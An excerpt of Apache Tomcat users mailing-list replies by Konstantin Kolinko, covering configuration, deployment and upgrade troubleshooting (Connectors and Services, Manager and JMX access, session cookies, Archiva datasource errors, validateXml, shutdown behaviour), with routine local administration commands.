>> secure webapp (/secure). And let's say that you were terribly paranoid
>> about proper setup: you want to make sure that nobody can access your
>> /secure webapp without going through HTTPS.
>>
>> If you were to simply do this:
>>
>> 
>>   
>>   
>>   
>> 
>>
>> ... then anyone could access either web application via http:// and
>> https://. (Of course, you'd set "CONFIDENTIAL" in your web.xml, but
>> remember, we're being paranoid, here).
>>
>> Instead, you can do this:
>>
>> 
>>   
>>   
>> 
>> 
>>   
>>   
>> 
>>
>> This way, anyone requesting http:///secure would get a 404.
>>
>> I'm sure you could come up with a real-world use-case for the above,
>> because it's obviously not a very good example I've laid out there.
>>
>> Perhaps a better use-case might be something like a server connected
>> to several VPNs where services need to be separated by port number for
>> isolation. (I'm not sure why you'd isolate the port numbers in that
>> case and not also isolate the JVMs, but it's just a thought).
>>
>
> I would be almost ready to bet that nobody has ever tried 2 's.
> It almost sounds like 2 separate Tomcat instances, except that they share
> the same JVM and the same TOMCAT_BASE, hence the same configuration files
> (of course), which makes it difficult to think of a real use case, as
> compared to 2 separate (JVM + Tomcat) instances running off the same
> codebase.

For example, the Manager web application is implemented so that it
manages the current "Host" only,  but that is only an implementer's
decision.

With JMX access you can manage the whole Tomcat. There might be
alternative management applications out there that allow to manage the
whole Tomcat, while being run in a different Service / Host.

> My guess would be : when designing Tomcat, it came to pass that somewhere in
> the logic, Connector's and Engine were related things, but that there was no
> clear way to design it so that one would be a child of the other or
> vice-versa.  So they just created a Service on top of both, and made them
> siblings.
> It may just be so as to make it easier to start the Engine, before starting
> the corresponding Connector's. Or to run them separately and asynchronously.
>
> It is a good question though. I wonder why nobody ever asked on this list
> before (in my memory).
>
> Also, (and also in my memory) I could swear that at some point, there was a
> document available on the Tomcat website, which gave some overview of the
> overall Tomcat design. But I can't seem to find that anymore.
>

Docs -> Architecture ?
http://tomcat.apache.org/tomcat-7.0-doc/architecture/index.html

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Checking to see if a Tomcat context is alive or hung

[Konstantin Kolinko]

2014-03-07 22:16 GMT+04:00 James H. H. Lampert :
> I've been asked to come up with a command-line (or batch job) utility
> (running on an AS/400) to check, programmatically, whether a Tomcat context
> that's part of one of our products is alive and accepting connections, or
> hung.
>
> I'm already attempting to pick the brains of our people who developed the
> Tomcat context, to see what they can recommend I do. And I've also asked the
> Midrange List for their suggestions.
>
> But I'd like the Tomcat List's input as well. One idea I had, since we
> bundle an open-source AS/400 HTTP client library called HTTPAPI with the
> product, was to send test requests to the context via HTTPAPI.
>
> Another idea I've had would be to run some sort of headless test Java
> program, since the AS/400 does include a JVM (after all, it wouldn't be able
> to run Tomcat without one).
>
> Any suggestions?
>

Some pointers.

http://wiki.apache.org/tomcat/FAQ/Performance_and_Monitoring
http://wiki.apache.org/tomcat/FAQ/Monitoring#External_Monitoring_Tools
http://monitoring.apache.org/status/

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat and Spring Framework

[Konstantin Kolinko]

2014-03-08 2:30 GMT+04:00 Leo Donahue :
> Any Spring developers on the list?
>
> http://docs.spring.io/spring/docs/4.0.2.RELEASE/spring-framework-reference/htmlsingle/#overview-usagescenarios
>

A link to "htmlsingle" page?? That takes a while to load.
Here is a quicker one to that chapter 2.3:

http://docs.spring.io/spring/docs/4.0.2.RELEASE/spring-framework-reference/html/overview.html#overview-usagescenarios

> Is that saying that you can use a regular Tomcat for all of that?
>
> "full-fledged enterprise applications" on Tomcat?

Yes. Why not?

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: setting org.apache.coyote.Response.isCommitted variable

[Konstantin Kolinko]

2014-03-06 13:25 GMT+04:00 Prashant Kadam :
> I am including one jsp in another jsp, there are different behaviors for 2
> tomcat versions as below
>
> 1. case in 7.0.37 - setCommitted(true) was called and thus in tiles code
> (pasted below), it includes the jsp and works fine
>
>  public class TilesRequestProcessor extends RequestProcessor
> protected void doForward( String uri, HttpServletRequest
> request, HttpServletResponse response) throws IOException,
> ServletException {
>  if (response.isCommitted()) {
>this.doInclude(uri, request, response);
> } else {
>   super.doForward(uri, request, response); }
> }
>
> 2. case in 7.0.39 - setCommitted() was not being called and thus
> isCommitted - default is false, and in this case it tries to forward and
> thus call super.doForward(uri, request, response) as per above code. Now as
> response is already committed but due to this flag value being false, it
> tries to flush again giving issue of flushing of already flushed response.
> and thus giving IOException: Stream closed issue.
> so the problem is, if response is already committed why
> org.apache.coyote.Response.isCommitted not being set to true ?
>

1. "setCommitted() was not being called"

The code that called setCommitted() in 7.0.37,  is it still being called?

Where it starts to differ between versions?

2. Request/Response may be wrapped (e.g. in a Filter).
Methods called on a wrapped class may be intercepted and not passed to
Tomcat code.

There was this change in 7.0.39:
http://svn.apache.org/r1459087
"Ensure HEAD requests return the correct content length when the
requested resource uses a Writer."

It add a flush() call, but that should not matter as the output is not
printed anywhere (just its length is calculated).

3. Flushing of a flushed stream is OK, as many times as you wish.
Flushing of a closed stream is not OK and is expected to give an IOException.

Why the stream is closed?

4. Can you simplify your code to make a test case / reproducer webapp out of it?


Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Unable to logon to /manager/html - "TOMCAT6"

[Konstantin Kolinko]

2014-03-06 11:13 GMT+04:00 Mark Eggers :
> On 3/5/2014 10:08 PM, N, Ravikiran wrote:
>>
>> Hi,
>>
> From the documentation at
> http://tomcat.apache.org/tomcat-6.0-doc/manager-howto.html#Supported_Manager_Commands:
>
> All commands that the Manager application knows how to process are specified
> in a single request URI like this:
>
> http://{host}:{port}/manager/{command}?{parameters}
>

+1

> You're trying to use Tomcat 7 commands on a Tomcat 6 instance.
>

He is trying to use GUI commands.

If it is an up-to-date Tomcat 6, then those commands are protected
against CSRF exploit and thus cannot be called programmatically.

If it is an awfully old Tomcat 6 (like it seems they are using), then
there are no such roles as "manager-gui" and "manager-script", but it
is not protected against CSRF exploits either.

6.0.24 is rather old, but it might have been heavily patched by
maintainer, so I do not really know what it is.
http://wiki.apache.org/tomcat/FAQ/Linux_Unix#Q5

> I just tried the following on Tomcat 6.0.37 (I know, I'll upgrade in a bit,
> this is on my local development machine):
>
> wget --user=username --password=password \
>  http://localhost:8080/manager/stop?path=/examples
>
> This worked as expected for both users with a manager-gui role and a
> manager-script role.
>
> . . . . just my two cents
> /mde/

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Problem with jmxproxy / Tomcat 8.0.3

[Konstantin Kolinko]

2014-03-06 1:40 GMT+04:00 Christopher Schultz :
>
> On 3/5/14, 4:20 PM, Christopher Schultz wrote:
>> All,
>>
>> For some reason, I'm not able to access my Tomcat's JMX beans
>> remotely using jconsole, etc. and so I figured I'd try using the
>> jmxproxy servlet in the manager webapp. I've deployed the manager
>> webapp in the same way I've done in many other installations... I'm
>> fairly sure I haven't screwed it up.
>>
>> I get an exception when calling an open-ended "get" (i.e. it
>> should dump the entire JMX tree):
>>
>> $ curl -v --user jmxproxy:jmxproxy
>> http://localhost/manager/jmxproxy?get
>>
>
> There is another - legit this time - error that I can see when I call
> ?qry:
>
> Mar 05, 2014 4:39:39 PM org.apache.catalina.mbeans.MBeanDumper dumpBeans
> SEVERE: Error getting attribute
> Catalina:type=WebappClassLoader,host=localhost,context=/manager jarPath
> javax.management.ReflectionException: Cannot find getter method getJarPath


There was WebappClassLoader.getJarPath() method in Tomcat 7. It was
removed from TC8.


> at
> org.apache.tomcat.util.modeler.ManagedBean.getGetter(ManagedBean.java:461)
> at
> org.apache.tomcat.util.modeler.BaseModelMBean.getAttribute(BaseModelMBean.java:180)
> at
> com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.getAttribute(DefaultMBeanServerInterceptor.java:647)
> at
> com.sun.jmx.mbeanserver.JmxMBeanServer.getAttribute(JmxMBeanServer.java:678)
>
> I'm not sure why this would be happening... could be mismatch with
> mbeans-descriptor? I'll investigate this one, too.
>
> - -chris

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 6 vs. Tomcat 7 vs Cisco Load Balancer vs Java Applet

[Konstantin Kolinko]

2014-03-06 2:11 GMT+04:00 Bill Davidson :
> On 3/5/2014 12:52 PM, Konstantin Kolinko wrote:
>>Session cookie is HttpOnly in Tomcat 7.
>>
>>If you missed that in migration guide, it is here:
>>http://tomcat.apache.org/migration-7.html#Session_cookie_configuration
>
> I added this to some code that is executed by most requests that we use to
> track operator activity:
>
> Cookie[] cookies = request.getCookies();
> if ( cookies != null ){
> for ( Cookie cookie : cookies ){
> operLog.append("\n").append(cookie.getName())
> .append("=").append(cookie.getValue())
>  .append(",
> secure=").append(cookie.getSecure())
>.append(",
> httpOnly=").append(cookie.isHttpOnly());
> }
> }
> m_log.fatal(operLog.toString());
>
> This is what that prints out in the log every time:
>
> JSESSIONID=, secure=false, httpOnly=false
>
> So no, I don't think that's it.  We're set to send on any protocol.
> Moreover, shouldn't the applet be sending httpOnly cookies even
> if they are not visible to Javascript?
>


The HttpOnly flag is used by cookies sent by server to the client.

There is no point checking it on request.getCookies(), as browsers do
not send it back  (neither do they send 'path', 'secure' etc.).

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 6 vs. Tomcat 7 vs Cisco Load Balancer vs Java Applet

[Konstantin Kolinko]

2014-03-06 0:30 GMT+04:00 Bill Davidson :
> The Java version wasn't it.  Recompiled and redeployed with 1.7.0_25
> and it had no effect.
>
> The SSL handshake problem went away when we disabled TLS 1.1/1.2 in the
> JCP on the client side and clicked "Restore Security Prompts" in the JCP.
>
> There was also a problem with JSESSIONID not being sent to the server
> which was causing the applets call to the server to get a missing sesssion
> exception.  I don't know how that changes when it's the exact same jar
> file that worked before.  We put some code into the applet to force the
> JSESSIONID to be sent and now it works; as long as TLS 1.1/1.2 are disabled.
>

Session cookie is HttpOnly in Tomcat 7.

If you missed that in migration guide, it is here:
http://tomcat.apache.org/migration-7.html#Session_cookie_configuration

> Sigh.  We still haven't identified what caused this in the first place and
> we're running out of ideas.
>
>
> -
> To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
> For additional commands, e-mail: users-h...@tomcat.apache.org
>

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Tomcat 7.0.52 stops after hours on our Sun Sparc with SunOS 5.10

[Konstantin Kolinko]

2014-03-03 21:29 GMT+04:00 Jay :
> Hello,
>
> We newly installed Solaris 10 with all default settings on our Sun Sparc
> machine (sun4u sparc SUNW,UltraAX-i2 64-bit sparcv9 kernel modules).
> The OS Version: SunOS hostname 5.10 Generic_147147-26 sun4u sparc
> SUNW,UltraAX-i2.
>
> We downloaded and installed JDK packages as follows:
> jdk-7u51-solaris-sparc.z
> jdk-7u51-solaris-sparcv9.z
>
> The Java in the environment:
> java version "1.7.0_51"
> Java(TM) SE Runtime Environment (build 1.7.0_51-b13) Java HotSpot(TM) Client
> VM (build 24.51-b03, mixed mode, sharing)
>
> We downloaded the  apache-tomcat-7.0.52.tar.gz and just unpacked it in
> /export/home/tester.
> Then we started the Tomcat server just using ./startup.sh without change of
> any default settings.
> The Tomcat is started ok listening at 8080 and we can see the Tomcat main
> page on Web Browser at the port 8080.
> But after several hours it stops itself without obvious reason (not manually
> killed). and
> It seems it was not a Shutdown command as there is no message of "A valid
> shutdown command was received via the shutdown port." in the log.
>
> Is anyone aware about this issue?
> Is it a configuration issue or environment issue?
>
> Can you please provide any clues or check points?
>
> Thanks,
> Jay
>
> PS. Here are the outputs from the logs:
> #
> # cat catalina.out
> Feb 28, 2014 4:12:09 PM org.apache.catalina.core.AprLifecycleListener init
> INFO: The APR based Apache Tomcat Native library which allows optimal
> performance in production environments was not found on the
> java.library.path: /usr/jdk/packages/lib/sparc:/lib:/usr/lib
> Feb 28, 2014 4:12:12 PM org.apache.coyote.AbstractProtocol init
> INFO: Initializing ProtocolHandler ["http-bio-8080"]
> Feb 28, 2014 4:12:12 PM org.apache.coyote.AbstractProtocol init
> INFO: Initializing ProtocolHandler ["ajp-bio-8009"]
> Feb 28, 2014 4:12:12 PM org.apache.catalina.startup.Catalina load
> INFO: Initialization processed in 5782 ms
> Feb 28, 2014 4:12:12 PM org.apache.catalina.core.StandardService
> startInternal
> INFO: Starting service Catalina
> Feb 28, 2014 4:12:12 PM org.apache.catalina.core.StandardEngine
> startInternal
> INFO: Starting Servlet Engine: Apache Tomcat/7.0.52
> Feb 28, 2014 4:12:12 PM org.apache.catalina.startup.HostConfig
> deployDirectory
> INFO: Deploying web application directory
> /export/home/tester/apache-tomcat-7.0.52/webapps/manager
> Feb 28, 2014 4:12:16 PM org.apache.catalina.startup.HostConfig
> deployDirectory
> INFO: Deploying web application directory
> /export/home/tester/apache-tomcat-7.0.52/webapps/docs
> Feb 28, 2014 4:12:17 PM org.apache.catalina.startup.HostConfig
> deployDirectory
> INFO: Deploying web application directory
> /export/home/tester/apache-tomcat-7.0.52/webapps/examples
> Feb 28, 2014 4:12:21 PM org.apache.catalina.startup.HostConfig
> deployDirectory
> INFO: Deploying web application directory
> /export/home/tester/apache-tomcat-7.0.52/webapps/ROOT
> Feb 28, 2014 4:12:21 PM org.apache.catalina.startup.HostConfig
> deployDirectory
> INFO: Deploying web application directory
> /export/home/tester/apache-tomcat-7.0.52/webapps/host-manager
> Feb 28, 2014 4:12:22 PM org.apache.coyote.AbstractProtocol start
> INFO: Starting ProtocolHandler ["http-bio-8080"]
> Feb 28, 2014 4:12:22 PM org.apache.coyote.AbstractProtocol start
> INFO: Starting ProtocolHandler ["ajp-bio-8009"]
> Feb 28, 2014 4:12:22 PM org.apache.catalina.startup.Catalina start
> INFO: Server startup in 10031 ms
> Mar 01, 2014 2:00:50 AM org.apache.coyote.AbstractProtocol pause
> INFO: Pausing ProtocolHandler ["http-bio-8080"]
> Mar 01, 2014 2:00:50 AM org.apache.coyote.AbstractProtocol pause
> INFO: Pausing ProtocolHandler ["ajp-bio-8009"]
> Mar 01, 2014 2:00:50 AM org.apache.catalina.core.StandardService
> stopInternal
> INFO: Stopping service Catalina
> Mar 01, 2014 2:00:50 AM org.apache.coyote.AbstractProtocol stop
> INFO: Stopping ProtocolHandler ["http-bio-8080"]
> Mar 01, 2014 2:00:50 AM org.apache.coyote.AbstractProtocol stop
> INFO: Stopping ProtocolHandler ["ajp-bio-8009"]
> Mar 01, 2014 2:00:50 AM org.apache.coyote.AbstractProtocol destroy
> INFO: Destroying ProtocolHandler ["http-bio-8080"]
> Mar 01, 2014 2:00:50 AM org.apache.coyote.AbstractProtocol destroy
> INFO: Destroying ProtocolHandler ["ajp-bio-8009"]
>
> #
> # cat localhost.2014-02-28.log
> Feb 28, 2014 4:12:21 PM org.apache.catalina.core.ApplicationContext log
> INFO: ContextListener: contextInitialized()
> Feb 28, 2014 4:12:21 PM org.apache.catalina.core.ApplicationContext log
> INFO: SessionListener: contextInitialized()
> Feb 28, 2014 4:12:21 PM org.apache.catalina.core.ApplicationContext log
> INFO: ContextListener:
> attributeAdded('org.apache.jasper.compiler.TldLocationsCache',
> 'org.apache.jasper.compiler.TldLocationsCache@19a2df9')
>
> ###

Re: Archiva fails to deploy on Tomcat with "SEVERE: Unable to create initial connections of pool."

[Konstantin Kolinko]

2014-03-03 17:31 GMT+04:00 Konstantin Kolinko :
> 2014-03-03 16:37 GMT+04:00 Frederik Himpe :
>> I'm trying to install Apache Archiva 2.0.0 on Tomcat 7 (installed from the 
>> Debian package).
>>
>> However when Tomcat 7 is started, I get this error in catalina.out:
>>
>> INFO: Deploying web application archive 
>> /var/lib/tomcat7/webapps/apache-archiva-2.0.0.war
>> Feb 28, 2014 10:32:20 AM org.apache.tomcat.jdbc.pool.ConnectionPool init
>> SEVERE: Unable to create initial connections of pool.
>> java.sql.SQLException
>> at 
>> org.apache.tomcat.jdbc.pool.PooledConnection.connectUsingDriver(PooledConnection.java:254)
>> at 
>> org.apache.tomcat.jdbc.pool.PooledConnection.connect(PooledConnection.java:182)
>> at 
>> org.apache.tomcat.jdbc.pool.ConnectionPool.createConnection(ConnectionPool.java:701)
>> at 
>> org.apache.tomcat.jdbc.pool.ConnectionPool.borrowConnection(ConnectionPool.java:635)
>> at 
>> org.apache.tomcat.jdbc.pool.ConnectionPool.init(ConnectionPool.java:486)
>> at 
>> org.apache.tomcat.jdbc.pool.ConnectionPool.(ConnectionPool.java:144)
>> at 
>> org.apache.tomcat.jdbc.pool.DataSourceProxy.pCreatePool(DataSourceProxy.java:116)
>> at 
>> org.apache.tomcat.jdbc.pool.DataSourceProxy.createPool(DataSourceProxy.java:103)
>> at 
>> org.apache.tomcat.jdbc.pool.DataSourceFactory.createDataSource(DataSourceFactory.java:554)
>> at 
>> org.apache.tomcat.jdbc.pool.DataSourceFactory.getObjectInstance(DataSourceFactory.java:242)
>> at 
>> org.apache.naming.factory.ResourceFactory.getObjectInstance(ResourceFactory.java:141)
>> at 
>> javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
>> at org.apache.naming.NamingContext.lookup(NamingContext.java:842)
>> at org.apache.naming.NamingContext.lookup(NamingContext.java:153)
>> at org.apache.naming.NamingContext.lookup(NamingContext.java:830)
>> at org.apache.naming.NamingContext.lookup(NamingContext.java:167)
>> at 
>> org.apache.catalina.core.NamingContextListener.addResource(NamingContextListener.java:1091)
>> at 
>> org.apache.catalina.core.NamingContextListener.createNamingContext(NamingContextListener.java:670)
>> at 
>> org.apache.catalina.core.NamingContextListener.lifecycleEvent(NamingContextListener.java:269)
>> at 
>> org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:117)
>> at 
>> org.apache.catalina.util.LifecycleBase.fireLifecycleEvent(LifecycleBase.java:90)
>> at 
>> org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5355)
>> at 
>> org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
>> at 
>> org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:901)
>> at 
>> org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:877)
>> at 
>> org.apache.catalina.core.StandardHost.addChild(StandardHost.java:632)
>> at 
>> org.apache.catalina.startup.HostConfig.deployWAR(HostConfig.java:1073)
>> at 
>> org.apache.catalina.startup.HostConfig$DeployWar.run(HostConfig.java:1857)
>> at 
>> java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471)
>> at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334)
>> at java.util.concurrent.FutureTask.run(FutureTask.java:166)
>> at 
>> java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
>> at 
>> java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
>> at java.lang.Thread.run(Thread.java:724)
>> Caused by: java.lang.NullPointerException
>> at java.lang.Class.forName0(Native Method)
>> at java.lang.Class.forName(Class.java:270)
>> at 
>> org.apache.tomcat.jdbc.pool.PooledConnection.connectUsingDriver(PooledConnection.java:246)
>> ... 33 more
>>
>> My /etc/tomcat7/Catalina/localhost/archiva.xml looks like this:
>> 
>> >   docBase="/var/lib/tomcat7/webapps/apache-archiva-2.0.0">
>>
>> >   username="sa"
>>   password=""
>>   driverClassName="org.apache.derby.jdbc.EmbeddedDriver"
>>   url="jdbc:derby:/var/lib/archiva/users;create=true" />
>>
>> >type="javax.mail.Session&quo

Re: Archiva fails to deploy on Tomcat with "SEVERE: Unable to create initial connections of pool."

[Konstantin Kolinko]

g deployDescriptor
WARNING: A docBase /var/lib/tomcat7/webapps/apache-archiva-2.0.0
inside the host appBase has been specified, and will be ignored
]]]

You deployed your web application twice:
1. as "archiva" (thanks to archiva.xml),
2. as "apache-archiva-2.0.0" (thanks to a subdirectory in webapps).

There is no context file for "2." thus configuration will be empty and
you have empty driverClassName.

Rename  archiva.xml -> apache-archiva-2.0.0.xml and remove "path" and
"docBase" attributes.


Configuration reference:
http://tomcat.apache.org/tomcat-7.0-doc/config/context.html

> and here is archiva.log:
> http://artipc10.vub.ac.be/~frederik/archiva/archiva.log
>
> Any idea what is going wrong?

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Error while upgrading to Tomcat 7.0.52

[Konstantin Kolinko]

2014-03-03 15:52 GMT+04:00 Daniel Mikusa :
> On Mar 3, 2014, at 5:16 AM, Utkarsh Dave  wrote:
>
>> Hi,
>>>
>>> I upgraded my application to 7.0.52 from 7.0.41. After upgrading while
>>> building and compiling whole application I am recieving error
>>> jasper2 doesn't support the "validateXml" attribute
>>> While looking in 1 of the blogs i found that the solution for this will be
>>> available only on 7.0.53 which is not yet available.
>>> Can you please let me know how i can proceed with this.
>>> If in case you need further details please let me know or feel free to
>>> reach to me in India IST.
>>>
>
> Try searching the archives.
>
>   http://markmail.org/message/t5d54dkbhjk4prip
>

That comment has already become obsolete, with
http://svn.apache.org/viewvc?view=revision&revision=1570163

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Stream closed- IOException exception

[Konstantin Kolinko]

2014-03-03 15:04 GMT+04:00 Prashant Kadam :
>
> stuck on this issue for more than 2 weeks now and need to close it ASAP
> please help.
> Any help/ pointer would be highly appreciated.
>


If nothing else helps, try running with a debugger to find when the
said response is being committed.
https://wiki.apache.org/tomcat/FAQ/Developing#Debugging

A breakpoint can be set
1. On the place that throws IllegalStateException
2. On places that use ActionCode.COMMIT constant (org.apache.coyote.ActionCode).
E.g. in org.apache.coyote.http11.AbstractHttp11Processor.action(...)

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Error while upgrading to Tomcat 7.0.52

[Konstantin Kolinko]

2014-03-03 15:09 GMT+04:00 Utkarsh Dave :
> Thanks Konstantin for the quick response.
>
> We are using false value, so i assume i can remove the attribute.
> As there are many level of developers involved, deleting and again adding
> it, will be difficult to track.
> I recieved another response, if i can replace validateTld instead of
> validateXML.
> Do you see any issue if we adopt this approach.
>

Beware that validateXml and validateTld are two different features in 7.0.53.

Please do not top-post on this mailing list.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Error while upgrading to Tomcat 7.0.52

[Konstantin Kolinko]

2014-03-03 14:28 GMT+04:00 Utkarsh Dave :
> To be more specific, i upgraded Tomcat in my application from Tomcat 7.0.41
> to 7.0.52.
>
> Quick response is appreciable as the build process is on hold critical
> services are shut down.
>

If you use the value of "false", remove the attribute.

"false" is the default value here. There is no reason to use it explicitly.

If you use the value of "true", remove the attribute now and restore
it back when 7.0.53 is released.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Add certificate without Tomcat restart

[Konstantin Kolinko]

2014-03-03 13:17 GMT+04:00 Арсений Зинченко :
> Hi.
>
> We have two-side authentification on our Tomcat:
>
>
> keystoreFile="/home/someuser/apache-tomcat-5.5.23/conf/.ssl/somealias.jks"
>keyAlias="somealias"
>keystorePass="somepass"
>
> truststoreFile="/home/someuser/apache-tomcat-5.5.23/conf/.ssl/trustcacerts.jks"
>truststorePass="somepass" />
>
> Is there any way to add certificate to truststore and get Tomcat load it
> without restart it?
>
> I mean - after:
>
> $ keytool -import -v -trustcacerts -alias somealias -file some.cer
> -keystore ../trustcacerts.jks

AFAIK, you need to restart the Connector. This can be done via JMX.
I am not sure whether start/stop is enough or you should go all way
down to destroy/init.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: how to always return 200

[Konstantin Kolinko]

2014-03-03 12:32 GMT+04:00 Aryeh Friedman :
> 
> 
> 404
> /index.jsp
> 
> 
>
> I need the above to return 200 not 404 how?

response.setStatus(..) ?

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Difference between process kill and shutdown

[Konstantin Kolinko]

2014-03-01 16:11 GMT+04:00 Akash Jain :
> On our linux boxes, we have multiple users who run tomcat.
>
> Currently we are using process kill commands to kill the respective user's
> tomcat , instead of using shutdown.sh
>
> Are there any downsides of using this approach ?
>

It depends on what process you are killing.

If you are killing jsvc (Apache Commons Daemon),
then it is OK, as it should call Tomcat' Server.stop() properly.

If you are killing a java process, then Tomcat shutdowns thanks
to a shutdown hook that it installs in the JVM.
The downside to this approach is that all shutdown hooks are started
at the same time and run in parallel.

E.g.  if you have some 3rd party library that installed a shutdown hook
(e.g. an embedded database or a logging library),
it may shut down earlier than request processing in Tomcat shuts down.

It is also possible to kill java process immediately in such way that
no shutdown
hooks are run. In this case, of course, all bets are off.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: OWF webapp log errors

[Konstantin Kolinko]

2014-03-02 1:34 GMT+04:00 J. Brian Hall :
> I have installed the OWF webapp in Tomcat and I'm trying to resolve some
> errors I'm finding in the log files.  I have not had much luck getting
> responses to questions on the OWF mailing list, so I'm hoping someone can
> help here.  Here are the details of my setup:
>
>
>
> -Windows 7.
>
> -Tomcat 7.0.42.
>
> -MySQL 5.6.
>
> -JDK 7.51-b13.
>
> -IE 11 browser.
>
>
>
> First, the OWF webapp does start (some features are not working).  The
> webapp is not generating a stacktrace or an initialization log file anymore
> since I resolved earlier errors with help.  There are 3 log files remaining
> that list SEVERE errors.  I will start with the 1 error reported in the
> localhost log.
>
>
>
> Any idea how to resolve the following error?
>
>
>
> Mar 01, 2014 12:19:36 PM org.apache.catalina.core.StandardContext
> filterStart
>
> SEVERE: Exception starting filter springSecurityFilterChain
>
> org.springframework.beans.factory.NoSuchBeanDefinitionException: No bean
> named 'springSecurityFilterChain' is defined
>

>From my knowledge of Spring Framework and Spring Security libraries,

That message means that you have a filter declared in your web.xml
(with name "springSecurityFilterChain"), but there is no such filter
among Java Beans created by a SpringFramework Context.

I cannot say what caused it without knowing what your OWF app is, how
it is configured,
and what INFO messages were earlier in the log files.
I would guess that Spring did not start, or have not found some of its
configuration files (context definition files).

If you broke application in such way (and you say that even logging is
broken), you would better uninstall everything and start over from a
blank page,  documenting your steps,

Unless you provide enough information for others to reproduce your
configuration, not much can be said.

For reference:
http://spring.io/docs
http://docs.spring.io/spring/docs/4.0.2.RELEASE/spring-framework-reference/html/

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: tomcat 7 for production

[Konstantin Kolinko]

2014-03-02 23:57 GMT+04:00 Ahmed Dalatony :
> hello
> thnx for fast reply
> but i'm meaning which release
> as i see in change log that there is a side text beside each release like
> 7.0.51   not released
> 7.0.50  released 2014-01-08
>
> in other meaning
> should i go directly to latest release of tomcat 7 which is 7.0.52
> or there is more stable production ready release???
>

1. The change log page is part of documentation for specific release.
At the time when the release is built and proposed for voting, the
release date is not yet known (as well as whether the release vote
will be successful).

The release announcement is on the top page of tomcat.apache.org site,
as well as in the archives of announcements mailing list.

2. Please do not top-post
http://tomcat.apache.org/lists.html#tomcat-users
-> "6."

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: OT? : Connectors not needed?

[Konstantin Kolinko]

2014-02-28 23:00 GMT+04:00 Jeffrey Janner :
> While working through a migration, I discovered something interesting.
> Apparently you don't need any working connectors for a functioning (?) Tomcat 
> instance.
> Setup: Tomcat 7.0.51, Java 1.7.0_51, Windows 2008 R2 64-bit
> Config had only two  both with the address= and port= parameters 
> set.
> I had yet to add the referenced IP address to any network adapter when I 
> started the Tomcat service.
> The service came up, logged the failure to bind to the address/port 
> assignments, and then deployed the webapps.
> So I had a functional application running, but no way to connect to test 
> against it.
> I suppose one would expect this to happen, and I don't know if a lack of 
> running connectors could be detected and a shutdown instituted, but it just 
> seemed a little odd.

This behaviour is configurable via a system property.

The default behaviour is to let Tomcat to start up, because of
1. backwards compatibility concerns,
2. you can connect via JMX and configure/start/stop connectors as necessary.

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org

Re: Stream closed- IOException exception

[Konstantin Kolinko]

2014-02-28 13:11 GMT+04:00 Prashant Kadam :
> Hi
>
> I am in process of upgrading from tomcat 7.0.33 to 7.0.52 but I am facing
> IOException: Stream closed in one of the layout jsp.  Underlying exception
> is jasper exception -   *org.apache.jasper.JasperException:
> java.lang.IllegalStateException:  Response has already been committed*.

It is odd to have an IOException to "be caused by" IllegalStateException.
Is IOException thrown by your code, or by Tomcat's?

What is the full exceptions chain here, with stack traces?


> Same code is working in 7.0.33 so I doubt that it is happening due to some
> changes in tomcat so I found out the version from this issue starts.
> Everything works perfect till v7.0.37 and problem starts with v7.0.39.
> I started looking the change log for these versions and I can see is
> "Use the newly added improved UTF-8 decoder for decoding UTF-8 encoded URIs
> and UTF-8 encoded request bodies. Invalid UTF-8 URIs will not cause an
